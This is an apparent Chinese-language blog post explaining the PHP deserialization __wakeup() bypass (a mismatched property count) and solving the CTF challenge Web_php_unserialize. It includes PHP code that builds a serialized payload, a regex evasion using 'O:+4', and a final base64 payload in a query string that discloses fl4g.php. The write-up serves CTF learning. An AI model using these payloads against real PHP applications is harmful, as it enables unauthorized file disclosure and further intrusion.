当前位置: 首页 > news >正文

反序列化之Wakeup方法绕过

反序列化Wakeup方法绕过

介绍

__wakeup() 是 PHP 中一个重要的魔术方法,用于对象反序列化时的自定义初始化操作。当使用 unserialize() 函数恢复对象时,PHP 会自动调用该方法

  1. 当对象被 serialize() 序列化时,PHP 会先调用 __sleep() 方法(如果存在)
  2. 序列化后的字符串可以存储或传输
  3. 当使用 unserialize() 恢复对象时:
    • PHP 首先创建对象的新实例(不调用 __construct()
    • 然后恢复所有属性值
    • 最后调用 __wakeup() 方法

绕过原理

当序列化字符串中代表属性的数字与实际属性个数不对应时,将会直接绕过__wakeup()方法。

a:3:{s:4:"name";s:6:"张三";s:3:"age";i:25;s:8:"is_admin";b:0;}

例如:这里表示一个含有三个属性的数组,如果将a:3……改成a:2……将会直接绕过__wakeup()方法。

受影响版本范围

  1. PHP 5.x 全系列(特别是 ≤ 5.6.30)
    • 完全有效,__wakeup() 会被直接跳过
  2. PHP 7.0.0 - 7.0.15
    • 有效,但部分小版本可能已修复
  3. PHP 7.1.0+
    • 大部分版本已修复,但具体修复时间点取决于发行版

实战题目

攻防世界:Web_php_unserialize

<?php 
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } } 
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); } 
} else { highlight_file("index.php"); 
} 
?>

这里除了__wakeup()还有一个正则表达式的匹配需要注意

/[oc]:\d+:/i 匹配以下模式:

  • [oc]:字母 ‘o’ 或 ‘c’(不区分大小写,因为有 /i 修饰符)
  • ::冒号
  • \d+:一个或多个数字
  • ::冒号

正常情况下,我们构造payload

<?php
class Demo { private $file = 'fl4g.php';
}$a=new Demo();
echo (serialize($a));
?>

输出:

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
  • 这里o:4会被正则表达式检测到,可以换成o:+4带上一个正号,数值不会发生变化,也能绕过正则表达式的匹
  • 而且Demo的属性个数是1,实际个数也是1,会被_wakeup方法过滤掉,可以换成2
  • 题目中需要上传的是base64加密后的payload

所有需要注意的点我们都已经发现了,接下来就是构造payload了

<?php
class Demo { private $file = 'fl4g.php';
}$a=new Demo();
$b=serialize($a);
echo $b;
$c = str_replace('O:4','O:+4', $b);
$d = str_replace('"Demo":1:','"Demo":2:',$c);
echo $d;
echo base64_encode($d);
?>

输出:

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

直接传入参数,即可得到flag。

……?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

结语

这里__wakeup()的绕过方法还是很简单的,一般情况下不会单独出现

声明

本文章用于记录和分享自己的学习过程,如有错误希望各位大佬及时指出,共勉!

相关文章:

  • Flink流水线集成Gravitino
  • Java反射详解
  • JVM 的内存模型
  • MySQL#秘籍#一条SQL语句执行时间以及资源分析
  • 超简单Translation翻译模型部署
  • 信奥赛CSP小学五年级动态规划入门
  • 【docker】--compose介绍
  • 高级特性实战:死信队列、延迟队列与优先级队列(二)
  • Go 语言基础 2 Func,流程控制
  • 【linux篇】系统世界跳跃的音符:指令
  • 嵌入式STM32学习—— 定时器中断(应用-利用定时器中断实现LED亮一秒灭一秒)
  • 并发编程知识点
  • MyBatis实战指南(二)如何实现小鸟图标与导入Teacher数据库表实战
  • 位图与布隆过滤器
  • RabbitMQ核心机制——延迟队列
  • win11 禁用/恢复 内置笔记本键盘(保证管用)
  • 【公式】MathType公式右编号对齐
  • MySQL连接错误解决方案:Can‘t connect to MySQL server on ‘localhost‘ (10038)
  • leetcode2081. k 镜像数字的和-hard
  • 华为OD机试真题——仿LISP运算(2025B卷:200分)Java/python/JavaScript/C/C++/GO最佳实现
  • 网站策划书背景介绍/在线网页编辑平台
  • 专业做曝光引流网站/短视频seo是什么
  • 邯郸当地招聘网站/网络推广平台
  • 上海做网站收费/app投放推广
  • 手机h5网站模板/seo专员工作内容
  • wordpress 别名获取id/湖南靠谱seo优化